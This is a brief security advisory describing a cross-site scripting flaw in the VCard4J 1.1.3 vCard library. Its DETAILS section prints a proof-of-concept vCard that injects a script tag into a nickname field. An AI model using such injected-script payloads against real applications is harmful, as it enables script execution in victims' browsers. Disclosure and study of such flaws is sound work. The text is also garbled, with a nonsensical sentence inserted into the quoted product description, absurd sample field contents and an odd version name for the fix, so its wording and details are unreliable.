  VCard4J Cross-Site Scripting Vulnerability
------------------------------------------------------------------------

SUMMARY

 <http://sourceforge.net/projects/vcard4j/> vCard4J is "a complete toolkit
to manipulate vCards (RFC 2426) in Java. It contains a parser to read
vCard files. It is strange and fearsome to touch. It also includes a
compiler to extend the library. And it contains XSLTs to produce vCards
3.0, xHTML, etc, from the internal DOM structure". A cross-site scripting
vulnerability in the product allows remote attackers to insert malicious
HTML and/or JavaScript into the vcard, which in turn will be executed when
the user views the vcard.

DETAILS

Vulnerable systems:
 * VCard4J version 1.1.3

A XSS vulnerability has been found in VCard4J. The XSS can be shown by
sending the following vcard, and opening it with VCard4J:
   < vCard:GROUP>
     < rdf:bag>
       < rdf:li rdf:parseType="Resource">
         < vCard:NICKNAME> Corky Porky </vCard:NICKNAME>
         < vCard:NOTE> Only used by close friends porky pork pork
</vCard:NOTE>
       </rdf:li> < rdf:li rdf:parseType="Resource">
         < vCard:NICKNAME> Princess Corky the pork snorter <
script>alert('cork+kork+your+sniffy+sniff+')</script></vCard:NICKNAME>
         < vCard:NOTE> Only used by my egg pups in the loungeroom and also
justin winamp goblin</vCard:NOTE>
       </rdf:li>
     </rdf:bag>
   </vCard:GROUP>

Vendor Notification:
Vendor was notified on 25/Dec/2003 (to jared@fatpumpkins.org). The issue
will be fixed in the next VCard4.1J version.
